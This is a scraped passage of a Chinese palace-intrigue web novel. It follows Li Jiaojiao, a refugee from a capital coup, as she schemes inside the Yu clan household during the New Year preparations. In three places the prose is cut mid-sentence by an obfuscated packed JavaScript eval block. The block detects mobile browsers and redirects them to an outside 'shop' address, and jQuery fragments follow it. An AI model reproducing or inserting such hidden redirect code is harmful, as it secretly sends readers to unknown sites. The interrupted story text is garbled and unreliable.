拣着最末端的椅子，也不敢坐实，半个身子悬空，全靠双腿支撑着，黎姣姣等得腰酸背痛也没见大少爷半点影子，她心下咒骂，哪怕是个瘸子也该爬到了！ 又过了一刻钟，总算有点声响传来，是吱吱的轮子转动声，又有木器砸在石板路上的敦敦音，再近一点，黎姣姣的五感只余下嗅觉——扑鼻而来的药味，是酸腐的、浓厚的、能够扼住喉舌的气味。 鄂州于氏，最鼎盛的清贵世家，其中最神秘的人物便是这位于氏长公子。 传闻他天生神童，过目不忘，三岁便能将四书五经倒背如流，六岁作出一篇登楼阁赋扬名天下，十二岁连中三元却因不愿与庶民考生同榜自辞回乡。 此人风评不好，黎姣姣从父亲嘴里也是听过于盛奕的大名，她爹很不幸，正巧是当年于状元光环下的寒门学子之一，做了十年官也没抹去当年的阴霾，每每家中举宴时分，不是与同僚痛批这位于状元，便是教导家中小儿莫学得于状元一般狂妄无状。 可眼前这位，四肢无力瘫坐在轮椅的人便是于氏长公子？傲才恃物、狂妄自大的于状元？长得俊美相当，但半点人气都无，皮肤白得晃眼，更显得发丝黝黑，跟他那双眸子一般黑，黑得毫无生气，他就这样软绵绵地瘫坐着，一举一动都任由小厮摆布。 “毋得君，这位是苟家姑娘，从京都来的。” 不知是哪个字打动了长公子，让他生出些反应，肯抬眼瞧瞧黎姣姣。 黎姣姣会对付女人，更会对付男人，无非是露出可怜姿态，眼里三分怯弱三分渴求，再余四分留给男人想象。 照例盈盈一拜，头微侧，露出一小节脖颈，那是黑丝下欲盖弥彰的雪白肌肤。但黎姣姣拿不准这套对长公子是否有效，因为他是比她还要弱的病痨鬼。 她悄悄斜眼去看，长公子依旧如个玉人。 奇怪的是那双眼，黎姣姣仿佛从中窥见到梨姨娘的影子。 次座的妇人开口：“苟大姑娘，莫见怪，毋得君自从患了病，一向惫懒，可怜他满腹才华，有心报国，却无力出仕，如今贼子谋逆，世间只知陛下驾崩，其余消息半点也未曾从京都传出，只有姑娘你一人活着从京都出来，若你能提供些许不对劲之处，凭我儿之才必定能推出始末。” 原来是于家主家太太，言语间全是对长公子的夸赞，可惜，这份夸赞是对那个少时意气的人，而非这会轮椅上的人，黎姣姣敏锐觉察到——于家人是徒劳在现下寻旧日光景。 她眼珠一转，问：“不知此前崔家主说到，崔于两家将同护国将军北上进京，是真是假？” “自然是真，大乾立国不过三十年有余，陛下勤勉，百姓安居乐业，可一朝谋逆，国将不国，大厦将倾之际谁能独善其身，如今，各地勋贵世家、各州道府官员纷纷去信京都，都是只去未反，陛下驾崩，皇嗣如何，宗亲如何，朝中肱骨之臣如何，都将关系到大乾命数啊！” 于老太君说得激动，止不住咳嗽，两位太太忙替她抚背端茶，待老太君缓过气来，她神色越发悲切，“毋得君素有治国之才，只可惜有疾，现如今风雨飘零，人命不过浮萍，你何需再自怜自艾呢！” 最后这句话，老太君手都快指到长公子脸上去了，依旧无法打动他，于盛奕连眼都懒得睁开，闭着眼气息也轻，让黎姣姣怀疑他是否还活着。 “老太君，两位太太。”黎姣姣踌躇开口，“长公子……其实我并非幸运躲过了谋逆那夜，早于前日傍晚，我便离家逃到城郊的庄子上去。” “不过，我逃家的原因是——” 黎姣姣环顾众人脸色，她吐出口气，将想好的事实娓娓道来，“我发现父亲私下跟随四皇子，意图谋反。” “端午过后，父亲下朝之后时常与兄长议事，我偶然偷听得知，陛下已经药石难治，属意传位太子殿下，偏这时，京都市井中逐渐传言道——太子殿下面若好女，好男风，更喜易装，荒诞不经，不堪为国君。” “这桩传闻，我们也知道，实在是无稽之谈，杀了几个不知所谓的说书人这段风波就平息了。”于老太君接过话，目光灼灼。 “正如老太君所言，风言风语是没了，可是，无人再提不代表无人在意，便是连我这等后宅女子，也听说，太子殿下被圣上多次叱责，此前可从未有过。” “太子，性纯，多年忠君，何，此。” 如幽谷回响、风中落叶，长公子突然发声，一字一句说得艰涩。 还没等众人欣喜他居然开口说话，长公子神色一变，面无狰狞，手死死揪着胸口，青筋毕现，奋力地喘着长长的粗气， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349349|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小厮忙上前替他松开衣领，几个丫头也忙着端水送药。 于老太君卸了力气，身子依靠在木椅把手上，身上那股精气神随着长公子的喘息渐渐消散，两位太太掏出帕子静悄悄地抹眼泪。 终于，长公子好受些，只剩手上还点力气挥手，服侍的小厮丫头们利落跪倒，没人再开口，于家祠堂一片静谧。 “也不知道父亲大人受了何人蛊惑，竟私以为殿下不堪为国君。” 听出长公子对太子的维护之意，黎姣姣也注意用词，免得再刺激一遭，这人得被自己活活噎死。 “自这几月以来，父亲开始与四皇子府上密切往来，京都出事三日前，正是中秋月华宴，皇后殿下召三品以上臣眷至东郊共度佳节。 宴席过半，潼临县发了一支烟火兵来，说是太子殿下献礼，结果是派兵将宴上所有女眷围住，一直到天明才让各府主家大人来领人。 这时母亲才告知我，出席宴会的女眷，其父兄均已投城两位皇子，不过端午到中秋，传言寥寥，太子殿下却几乎失去大数臣子的支持。” 出人意料的，于盛奕又开口，声音藏不住的嘶哑，“是皇子，谋逆？” “儿不敢言，只是归家之后，兄长便开始筹集人手，府中护院纷纷披藤带甲，据说京都后宅之中人人自危，母亲私底下教我，若是真到父亲谋逆起事之日，就是舍了大臣之女的体面，也要远远地逃走。 直到那日，父亲上朝之后一直未归家，途中只遣回一个小厮，这时母亲突然发动，派人送我与贴身侍女出逃，她提前备好了城郊的庄子让我先行，谁知第二日，没等来母亲的行踪，反倒……” 黎姣姣语气哽咽，那双桃花眼泛红，水灵灵地看向于老太君，“儿所知之事皆告知老太君了，不敢有所隐瞒，我虽女流，也知道太平不易，如今，或为贼子之女，我不愿再作苟家女，便以此发明志！” 说着，掏出早就备好的小金剪子，扯住耳后的一绺发眼疾手快就是一刀，黎姣姣故意将手抬得高高的，果然还没等再有动作，已经有人抱拦住她。 “快快！将姑娘顾好！”老太君也被震住，后知后觉遣人看住黎姣姣。 发丝轻飘飘落下，剪子砸到地面也只有沉闷的一声，黎姣姣顺势靠在来拦她的丫头身上，哭得叫个梨花带雨。 “好孩子，不哭了。” 这日，于氏府上多添一位表小姐，姓黎，颇得老太君青睐，初来乍到，吃穿用度皆比肩许家表小姐，连卧房也是一红一绿。 许小姐的绣红阁，乌桕艳红夺目，还能闻着花香，秋意未能杀花，反倒叫其气韵芬芳，穿过竹篱花障编就的月洞门，这一处名叫听绿园。 院中点衬几块山石，零散种的有几颗芭蕉，微黄发卷的叶子显得萧条，隔着朦胧的纱窗，能见屋内已点上灯，人影幢幢。 进入房内，其中收拾的全然不似女子卧房，刻着山水人物的雕空玲珑木板接通书桌主厅床榻，隔绝院外浊气，屋子里幽幽木香，引得黎姣姣不由得停步至书架。 顶天立地的金丝楠木柜架，有几层已被压弯了腰，此时春苗悄悄走过来，耳语：“姑娘，马大婆有消息了。” 5. 过新年 微微点头，黎姣姣不动声色绕过玲珑架，行至客厅，正巧和一家仆对上眼。 “云嫂子辛苦，也不用太过费心收拾整理，我都无妨。” 云嫂子码手憨笑：“老太太说了，黎姑娘只当这是家中，任性随意些，我想着新的丫头您也用不惯，不如留三四个粗使的，院内一应事务还是交由春苗姑娘，天色暗了，我们便不打扰姑娘休息。” “谢老太君体谅，也谢嫂子贴心，好让春苗送送嫂子。” 春苗领着人出去，屋里一空，黎姣姣浑身发凉，喜丫头翻找出一件锦毛鼠斗篷来，似是旧物，看着还算干净，点头让乐丫头替她披上。 “你们可还适应府中？” “姑娘莫担心我们，可好着呢。” “有出息了，我还当你们会半夜抹眼泪挂念马大婆呢。” 两丫头对过脸嘻嘻一笑，“好姑娘，存心羞我们呢，马婆婆的消息我们已经知晓啦，这事还是我们说给春苗姐姐禀告姑娘的。” 原是，两个丫头被仆妇带去院里吃饭，人小鬼大的她们，童言稚语间竟然探到了不少消息——马大婆取走的那张信物方帕子，再出现是因一盆墨菊。 于家前几日办了一场菊花宴，遍罗鄂州名贵花朵，其中一支墨王夺冠，众目睽睽之中含羞待放，一瞬间芳华初绽，但是那蕊心居然是血红的。 众人叹：“墨王沁血，奇观呐。” 许家小姐当下震住——她母亲相看那日，许家也是寻来一朵奇贵墨王，当日母亲不小心扎破了手指，沁出的血滴落在花蕊中，许家公子即兴赋一句——腴腴艳红开。 她母亲被这一句话哄得倾心，以为遇上了懂花、惜花之人，可花期短，男人的爱更是虚无，可怜她母亲，于氏长女，在鄂州过得肆意青春，到京都嫁作他人妇，一困就是一生。 母亲临终前，交给榻前的两个女童各自一块帕子，上面绣着墨菊沁血，以身作则，告诫女孩们，莫作新妇！ 而这日，又正是许玟素的相看宴。 “这花，哪来的？” “回小姐，是邓家送来的。”见小姐面色不好，又捏捏袖袋，传来坚硬的触感，仆妇好似不经意说道：“听说邓家是从一方小帕上得的灵感。” 许玟素眉头皱起，问：“帕子？从谁哪里得的？” “据说是个婆子，卷了主家的细软典当出手，主家也是苦主，是进城的难民，如今都被留在恩慈寺呢。” 恩慈寺。 “这才有了许家小姐来寻姑娘的一遭。” 春苗刚进屋子，就见两个丫头绘声绘色说话，她笑骂：“背着我来跟姑娘请功呢！若不是我先得了马大婆的信儿，你两个人还有心去探别人的话？” 翻出一张揉皱的枯麻条，即便春苗已经用力压平整，还是于事无补，活像块风干的咸菜。 “刚入府中，有一仆妇，耳边挂着红花，嘴角还有颗痦子，看着吓人，神神叨叨塞过来一块这个。”春苗说，“上头写着幸不辱命，马大婆这遭真是万幸，就是不知怎么认识这种人的。” 除是贴身侍女，春苗也算半个侍读，说是半个，只因她的主子黎姣姣也没正经上过学、读过书，说不定春苗认得的大字比主子还要多呢。 “马婆婆有本事，什么人都认识！” 喜乐两个丫头，说话总是爱你说上句我接下句，唧唧呱呱吵得人脑袋疼，这会再加个不服输嘴也快的春苗，更是吵人。 “别吵嘴了，有人嘴上闹、肚子也在闹呢！”黎姣姣拉过喜丫头点点她肚皮。 春苗做个鬼脸，说：“毕竟年纪小，饿肚子就是天大的事了。” 黎姑娘忽地轻笑起来，她指着春苗：“让我想起你从前来，也是贪嘴，太太赏给我的糕点全进你肚子里去，本就长得憨，又吃得壮，大少爷没少对你挑鼻子瞪眼的，嚷嚷要把你弄去伙房，现在你这贪嘴的习惯倒也很好的传下去了！” 说完她又咯咯笑个不行，春苗找回点羞怯的感觉，脸微红说：“谁管他喜欢瘦的、高的，我便是矮、胖、蠢，也是有姑娘、太太钟意的，姑娘知道，我那个家，爹娘恨不得喂血给两个弟弟吃饱，轮到我，喝口米汤都没有，幸得姑娘仁厚，没叫饿死还长得壮实，要不然，只怕撑不住陪姑娘来鄂州了。” 春苗是个实心眼的人，服侍黎姑娘，心里眼中只有黎姑娘，她觉得自己主子是最心善、最可怜的女子，黎姣姣就喜欢春苗见她的眼神，将她奉为至高的眼神。 取乐完这蠢丫头，黎姣姣脑中紧绷的弦终于松动些，这下太阳穴两处真还涨疼起来。 “两个吵鸭子自去吃饭，好春苗，来替我按按头。” 先是暖香围上来，接着指尖按揉起来，春苗的手不好看，粗大的指节、短短又肿肿的一双手，可黎姣姣就喜欢春苗这双手，按得有劲，让脑子也变得清明些。 于家来了我这难得的京都客，撇开面上的虚情假意，老太婆留下她定是别有所图，黎姣姣心想，诚然自己演得够好，世家之人绝不可能只因一点怜惜同情就做决定。 不怕别人有所求，自己也得趁这时赚点。 静心！静心！这会自己能做什么？如果是父兄他们会怎么做？ 黎姣姣平生最大的梦魇就是落得同姨娘一个下场，所以一直不敢忘记姨娘的话，她得争、得抢，得活得与姨娘截然不同。 她的生母，梨姨娘，扬州城里风华绝代的名妓，最后吊死在苟宅后府，她只是因得了苟老爷的爱放弃扬州，又因失去苟老爷的爱放弃性命。 幼时她并不知道，姨娘让她争抢的是什么，有什么好争抢的，该去争抢什么，父亲嫡兄对她宠爱有加，几个庶少爷也对她恭恭敬敬，因她是养在主母太太跟前的，嫡庶区别在黎姣姣身上并不显然。 她的衣裙、首饰、吃食，一向是最好的，花粉胭脂堆满妆台，连鞋子都是绸缎缀上明珠的。 这些是好东西吗？年幼的苟姣姣问自己，如果是好东西，怎么会这么轻而易举得到。 如果不是好东西，自己应该要得是什么呢？ 她蠢，想着如果是父兄的话—— 父兄有的，父兄所求的，毋庸置疑是好东西吧。 这样一看，嫡兄有的田庄铺面，自己却没有。 小小的黎姣姣寻到一条金科玉律—— 若是父亲，该如何以稀客的身份去左右逢缘呢。 又有个最简单的法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349350|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子冒出来——成婚吧，以她的手段，在鄂州吊个金龟婿再简单不过。 若是兄长，也会选择嫁掉自己吗。 想了一夜，也没得出个答案，却听驿站急报——京都开门了！ 于老太君又来寻她见面，黎姣姣心跳得七零八落，大骂该死的逆贼竟如此没有风骨，再多撑几日，待……待她筹划一下啊！ “黎丫头，想必你也听晓，今早京都开城门，散出许多消息，可叹呐，竟是太子做出了谋逆之事，他屠尽皇族宗亲，凡在京都有居所的四品官员皆被灭门。” 太子怕不是疯了！ 突然的沉寂中，众人不约而同震惊，放着触手可及的皇位不要，竟犯下此等忤逆重罪，大乾子民不无唾骂其人，尤其是勋贵之流，更是恨不得鞭尸。 是了，太子吊死在城门，君主死社稷是佳话，那反贼呢，士大夫们下笔极致刻薄之语，遗臭万年不成问题。 “还有桩事，好姑娘，你听了莫要太过悲痛。”于太太柔柔靠过来，搂住黎姣姣，同禁锢一般，“你父亲并非反贼，他是有气节之肱骨之臣。” “至于你兄长，也是个高尚人物，反贼灭门之前，他已经自刎于家中，这般骨气，当真是好儿郎。” 父兄都死了，这消息倒不意外，黎姣姣拿捏着伤心的度，略微打算哭一哭，又听。 “苟府上下都守住了气节啊。” “太太呢？”黎姣姣下意识问到。 问出口才惊觉这是个多蠢的话。 太太向来贤惠，操持中馈、教养孩子，苟老爷风流，妾侍众多，后宅却安宁祥和，妻妾和睦、嫡庶友爱，全京都都没有太太这般贤妻良母人物。 她也死了。 距新皇即位诏书宣告天下，又过半月有余。 这此之间，黎姣姣躲在听绿阁中，未踏出一步。 泠冽的北风也吹到南边来，奉圣元年的腊八，新年新气象，新朝更盛，百姓们将春节的采买也提上日程。 死了皇帝，死了太子，又立了新皇帝，于百姓而言，谁做皇帝，只要自个能安稳过日子，就都是圣明的好皇帝。 新皇，是先帝的旁支兄弟，谁叫太子、皇子都死了个遍，剩下个牙牙学语的皇孙，也吓得痴呆，跟着皇后娘娘——现下的太后请居皇觉寺修行去了。 听说新皇常年守在岁寒之地，今年终于能回京都过个暖和年，既是新皇登基头一年，京都的年味都快要溢到鄂州来。 “剑南何家，原是做烟花的皇商，咱们前个陛下节约，倒叫何家过了不少穷日子，据说今年，他们一下子阔绰大方起来，不知道做了多少烟花送去京都，真想见见那场面，火树银花闪亮天光。” 许玟素又来寻黎姣姣说话，这段日子，她时不时带些新消息过来给黎姣姣取趣。 “不过今年咱们府上也热闹，姐姐你怕不知吧，府上就要迎来新娘子了！” “这话当真？” 黎姣姣不可置信，于长公子这残废只怕进气多出气少的，居然有人愿意嫁给他？ “已经过了吉礼，着急让新娘子年前入门呢。”许玟素又凑到她耳边，细声：“你别声张，这新娘子啊——是嫁进来冲喜的！” 6. 小年 一时之间，两位姑娘都颇有默契地噤声。 许玟素挤眉弄眼作怪，又不断用帕子作擦拭状，心虚至极的样子，至于黎姣姣，也藏在帕子后震惊。 冲喜？这样的字眼居然会用到这般百年世家上？ 世家的清明之闻，黎姣姣幼时便熟记于心。 在乾朝，女孩子也是需要开蒙识字，不过苟家没安排黎姣姣学些正经课业，苟老爷有心教她王侯世家里头的门道，她乐于听故事，父慈女孝，是常有的故事。 可真在于府住下的这段日子，黎姣姣竟生出不过如此的想法，仆妇偷奸耍滑、踩高捧低，吃了几碗冷饭，得了几次冷眼，被许玟素告到老太君那里去过一回，底下人又演一出媚上欺下。 乱得同市井人家一样，于老太君是有手段的，但她岁数大了，心软。 于大太太是个糊涂的，一颗心扑到听曲看戏上，犹嫌不过瘾，又买了几个小女孩，自个养一出戏班子，还养得精贵，只练功学琴，每日随心意唱上几段，就再也不干别的。 许玟素抱怨时，脸上挂着无奈，“舅妈不是买乐妓，是请小神仙，便是教坊的女孩也没有这样随性。” “二舅妈更是荒唐。” 许玟素的两位舅妈既是妯娌，又是一族的姐妹，对于玩耍享乐的兴致都高涨得出奇，于二太太热衷击鞠，不常在府中见到人影，一问行踪，便是在别家太太办的球赛上。 于家的女人们过得肆意，可惜男人们受了诅咒，都是早衰的命，如今一个独苗公子居然要走上冲喜救命的道路了。 说了会家长里短，黎姣姣总算心情好些，听闻苟太太丧命的消息，她的情绪莫名低落了一阵，这会听连长公子都还在努力冲喜求个活着，自己也当振作些。 “怎么不听邓家公子的事了？”黎姣姣挑起话题。 “他？只怕不敢再来了！被我撵了这么多次，就是再不要脸面也得知趣吧！” 说起这位邓家公子，许玟素就气不打一处来，自知道他家存心找了一盆墨王来，她就膈应得慌，老是想起母亲临终前字字泣血的痛斥。 不作新妇！不作新妇！ 可惜，她已有二十岁，结亲成婚，是一件必然的事。 许玟素能做的，只能是拒绝邓家，再相看个别家。 “姐姐……”许玟素怅然，很快又强撑起精神，“过几日就是小年，祖母将府中扫尘交给我来做，这桩事费功夫，我一人定是不成，好姐姐来帮帮我吧。” 黎姣姣有些意动，拿调婉拒了一遭。 许玟素继续劝：“合该出去走动走动，染一些人气，苟太太传你的那些看家本事也得用用。” 得了两句劝，黎姣姣才顺从地应下这桩事。 春苗得知后，却有些发愁。 烛火绰绰，到夜里，主仆二人照常说些贴心话。 “好姑娘，这桩事却不该帮她的，听说以往小年时分，都是请的于氏族上老爷太太们来帮手，于府事多规矩大，而且……” 春苗附耳小声道：“她们账上亏空得厉害，听不少老媳妇说，今年更是艰难。” “扫尘迎灶王，阖府上下都得干净起来，这得多少人手来干，一群懒妇、滑头爷们，只怕不见赏钱不动弹，横竖一颗心念着主家软弱，不会卖了她们。 您还是做姑娘的，哪有什么治家手段，又是外来的，对她家钱银人情都不了解，要是出了丑，还全怪在您身上呢。” 春苗是真心实意替黎姑娘担忧。 “以往咱们府上能用几个钱？能使唤几个人？就算是于氏，不过是多几扇门窗罢了。” 黎姣姣不以为意，探出手捏着银针挑动烛芯，“你与仆妇们交好是好事，只不过，当人前只听勿言，人后除了我，莫再跟别人乱嚼舌，这段日子你受累些，两个小丫头不顶事，我现下只有你了。” 春苗点头感动道了个好，熄掉焦急的心，吹了灯，一夜无梦。 腊明日更新，谓之小岁。 这日除旧迎新，平常人家打扫家宅、冷灶祭神一日足以。 做官的有制约，允三品官员居二进院，京都地又贵，自然苟府占地不算大，加之苟老爷有份文官的自矜，清扫一番，要的是府中清爽朴素、巍巍自然，祭品也平常，老爷、少爷素服祀灶，作文一篇慰今朝求明日。 黎姣姣计划比照苟太太的行事样子来着手料理于府，掐着点，待差不多许玟素结束晨礼，她领着春苗就往绣红阁去。 绣红阁长了两棵极好的腊梅，枝桠上这会正开得黄澄澄一片，黎姣姣站在树干旁贪婪地嗅着梅香。 “姐姐也不怕冷，喜欢这花我叫人折一枝给你送过去。” 身后响起许玟素的声音，黎姣姣扭头，却发现只有她一个人，没见个双丫髻的寡脸婢女跟着。 “蕊儿呢，清晨路上还有昨夜的霜，没她扶住你，怕是行步还不太安稳呢。” “被舅妈要去了，说是她的力气大，也不知讨去干嘛，夜里才能还回来，我看春苗也长得壮实，不如让她一块去找舅妈，好早点放我的蕊儿回来。” 接过她这句俏皮话，黎姣姣轻笑：“那是不成，我可不能离了春苗。” 两人说说笑笑往暖阁走去，踩混满地的湿泥，到了屋内，一个红衣丫头给两位主子奉茶，一个紫衣丫头跪下替黎姣姣擦鞋。 “你是怎么走的？一点泥也没沾上。” 同路过来，只有黎姣姣的鹿皮靴子满是黏糊的泥土。 许玟素蹬出一双腿，摇晃摆动双脚，有轻微的叮当作响，似是铁器相撞，又上来一个桃色衣裙的小丫头替她脱靴。 “自有玄机呢，拿链子编成络子模样套在鞋上，走路即不怕打滑，又不会染尘，最适合鄂州的冬天了。” “是个好主意。”黎姣姣赞叹。 许玟素作出夸张的笑，挑眉问：“这个主意，你知道是谁出的？” 摇头。 她答：“是那未过门的表嫂！” “说起她就神奇了，听说她起先不愿与我家结亲，投湖、上吊的威胁都做过，闹得差点真丧命了。 后来不知是想开了还是鬼上身，这人一下子愿意嫁过来，而且真跟变了个人似的。” “你说话我是不敢相信的，好好的姑娘被你说成女妖怪了。” 见黎姣姣无趣的模样，许玟素拧起眉头，手也开始比划起来，“真事呢，还是她家二房小姐的手帕交孙小姐告诉我的。 说她某天醒来，连是何年月都忘了，认不得人，嘴里念叨着听不懂的话。有小丫头去伺候她，竟然被她拒绝，说什么平等、压迫啊，还要把家中奴仆全部驱散，吓得小丫头差点投井呢。” “越说越不像样子，与其听你手帕交姐妹乱传话，不如等她嫁过来真真见一眼，闺阁小姐们最爱编排人，以前在京都没少听这些，又有几桩事是真的呢。” 黎姣姣话里带上劝阻，面上有轻微的厌恶。 许玟素的兴致也全败了，叹气，耸肩，端起茶杯呼噜噜喝上一口，放下杯子，挺直腰坐得端正些，语气被压得平淡：“是啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349351|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“好了，也没打算让你想起伤心事，来寻你是为了扫尘这桩官司。” 绕了半天，黎姣姣终于绕到她的正题上，将自己的打算细细说给许玟素，却得她摇摇脑袋。 “只怕姐姐所言，在鄂州行不通，在于府更行不通。” 鄂州比之京都更看重小年，不讲究律法制度，只讲攀比面子，普通人家都恨不得将宅院都要翻新一遍，有头脸的人家中牌匾门环是必要重刷一道金漆。 今年更特别，恰逢新皇元年，四方流民留在鄂州重新建家的也不少，更是欣欣向荣、互相攀比的好时节。 “就算我们想节约些，可城中物价居高不下高啊，单说一把扫帚，苇草编的也敢卖五个钱，按府上的用度，光打扫院子就得上百把，更何况其他物件。” 说完扫帚，许玟素差人拿来两把算盘，她自己手腕一转拨得珠子唰刷响，器物、祭品、赏银，粗略算下来就得近五百两白银！ 听到这个数，黎姣姣差点吓得背过气，面上虽不显，她心里的算盘也在哐哐作响，只怕苟府一年的花销都不过百两！ 她后知后觉到春苗说的困难了。 “姐姐，还是得想想别的法子。” 可怜黎姣姣，失去了对苟太太行事样子的粗劣模仿，再也没有半点管家的本事。 要说外人以为的苟府独女，又是从小长在主家太太跟前，且不说言传身教，耳濡目染也该学些手段招式。 只可惜，黎姣姣不过是个庶女，还是个貌美的庶女。 她只好托辞身体不适，又溜回听绿园去，于府事关外姓客何干，做不成、帮不了！ “我给姑娘带来好消息了。” 打响退堂鼓的黎姣姣面前冒出一个小脑袋来，是喜丫头，扎着熟悉的发式，一看竟是马大婆的手艺。 小脑袋凑近给黎姣姣喂下一颗定心丸。 腊月二十四日，祀灶，谓灶神翌日上天，白一岁事，故先一日祀之。 这日是个好天气，于家两位太太招呼着祭典，后院一排灶房呼呼冒着白烟，梆子齐齐敲了三声响，灶房门窗应声被大大推开。 横裹头巾的小厮们一手拿扫帚一手端撮箕，步行之间叮叮当当，原是腰间挂有一溜银钱币。 屋顶上的烟消散得大开，屋内也被收拾得齐整，冷灶瓦面上摆了一只猪头、两盆熏鱼，再有各式点心干果不计其数。 于老太君站在檐下，一群用红绳扎着高辫子的小丫头围在她身边，叽叽喳喳说着吉利话讨果子，她笑眯了眼，面颊也染上欢喜的红气。 “雀娘如今做事很好，竟比往些年要清爽些。” 抓上一把干果，于老太君微微弯身分发给丫头们，留了一个最大的果子塞到许玟素手上。 她笑：“听你舅妈还在忧心呢，说今年没花几个钱，也没喊队伍上来帮工，今个我一看，处处都干净，祭物很是新鲜，你可得去找舅妈她们显摆一下。” “得祖母这句夸，我已经满足啦，不过您还少夸了一人，这会多亏黎姐姐的本事呢。” “她？”老太君用手轻点许玟素额间，“只当你的黎姐姐心大，一个丧亲的小姑娘来做客过年还得帮着做事，你这主意啊不好！ 你别掉脸，她做事也不用我夸，她是苟太太养大的，那可是廊城王家的大姑娘，她家作风从黎丫头行事上也可见一般。” 黎姣姣站得远，见许玟素投过来的眼神，她心知，今日事自己做得相当好，她咬住唇侧才忍住没笑出声来。 马大婆啊马大婆，还得是她！ 7. 荒唐事 “老太君搂着雀娘说什么悄悄话呢。”于大太太远远喊了一嗓子，“时辰到了，该祭灶了！” 应声，正午的梆子响了两下。 紧跟着噼里啪啦的响动，自家门前，别家檐上，一时间整个鄂州都炸翻天去。 黎姣姣还是初次遇上这场面，只觉得吵闹不堪，酸溜溜的味儿慢慢袭来。 声响中，着绛紫圆袍的十二小厮端着糖瓜干果立在灶前，他们倒是静悄悄的，黎姣姣也当是鄂州特有的仪式，没想等了一刻钟灶前还是没有动作。 连炮仗燃尽的余味都散尽，春苗偷偷问：“不会是出岔子了吧？” 岔子？黎姣姣仔细想想——她们没漏什么吧，越想越不确定，隐隐心惊胆战起来。 这时，许玟素偷溜过来，满脸焦急：“坏了！听说是表哥不愿意祭灶王爷呢！” “时辰耽误不得，家里只他有资格祭灶，祖母都要急晕过去了，唉，表哥还在置气呢。” 时间这会溜得飞快，灶上依旧冷清，小厮手稳端着，眼珠子转来转去，谁也不敢开口吱唔第一声。 等在外面的女人们，年纪小的丫头被掬在母亲身边，没敢再让她们随意跑动，免触主子的霉头，膀大腰圆的仆妇们站累了，没舍得用手指撑腰，只用手背顶着，怕弄皱了新衣。 再有头脸一点的媳妇们，侧过脸耳语一番，纷纷站在灶王爷门前念着菩萨保佑，微微哎哟哎哟地叹气。 众人就这般僵持着，谁也不敢催促或是离开。 “好。” 首个出言的竟是性子最软和的大太太，她也是被气得红脸，声音调子高高的：“也不用他来了！花鹿，你去叫唱生角的娘子过来，咱们今天破个例，请灶王爷看戏！” “大太太真是气疯了。” “太太，这般于理不合，咱们还是等等少爷吧。” 婆子媳妇全围上来劝于大太太三思。 找个生角装作是长公子祭神？这也太荒唐了！ 于老太君一锤定音：“也罢，他不愿意来就算了，只是祭灶耽误不得，请个人来替他吧。” 又过一刻钟，一个俏丽身影出现，素脸吊眉，头顶一盏青莲花冠，白鹤褂子朱红袍。 “这不是女状元里的黄宗扮相么！” 许玟素平日没少配于大太太看戏听曲，一眼就认出这打扮。 家里独子担不起担子，请个戏子还要扮状元，于大太太就是请人假扮儿子，也没忘了这番虚荣。 着实好笑，这场闹剧，黎姣姣就是半夜想起也会乐一阵。 “这家人真是般配，要冲喜的儿子，爱看戏的老娘，两人官司还闹到灶王爷跟前演一出，你是没见那小姑娘扮男人，踩了一双高高的长靴，涂酒糟的时候差点没栽到灶炕里去。” 这是春苗正给没见现场的喜乐丫头复述，两丫头眨巴着眼睛，被逗得见牙不见眼。 “仔细喝风到肚子里，哪有女子像你们吃呀咧嘴的笑，也该懂些规矩了！” “婆婆，您怎么一回来就要纠错呀，连姑娘都没说话呢。” 烛火一晃一晃，昏黄不清，说话的这张侧脸面皮扒着骨头，从太阳穴凹下去，颧骨高耸突兀得瘆人，转过正脸，黑洞洞的一双眼。 “你这次受苦了。” 黎姣姣怜惜道。 “为了姑娘，都值得。” 说话时，马大婆不着痕迹地撇了一眼喜丫头，正闲不住的年纪，已经开始玩起姐姐的手指。 “只是姑娘，您可曾想过日后，待她家公子娶亲、表小姐外嫁，您又如何自处？” “是啊。” 幽幽叹息，黎姣姣恍若觉得又回到南下前那一夜，那时她以为到鄂州就好了，但是这安稳乡却不是她的。 “不如……” 马大婆嘴边冒出两字，黎姣姣抬眼看向她，是难得的冷色。 “我的性子你是清楚的，马大婆，你既然回来了，好好调理休息，至于别的，我自有主意。” “姑娘又何需避讳呢，原想着您能嫁到于家，老天保佑于公子这副身体，也不用您操心，白过日子就能等他死，他一死，家里全是老妇，性格又好也不管家，您的日子再幸福不过。” “我的婚事，只求真心，容不下半点算计，这话是第二次同你讲了，再有第三次。”黎姣姣手点桌面，温温柔柔说话，“却不能了。” 马大婆噤声，眼睛盯着黎姑娘的手指缓慢地敲点，她那双手修长，指甲也细细尖尖的，黎姑娘不爱染花色。 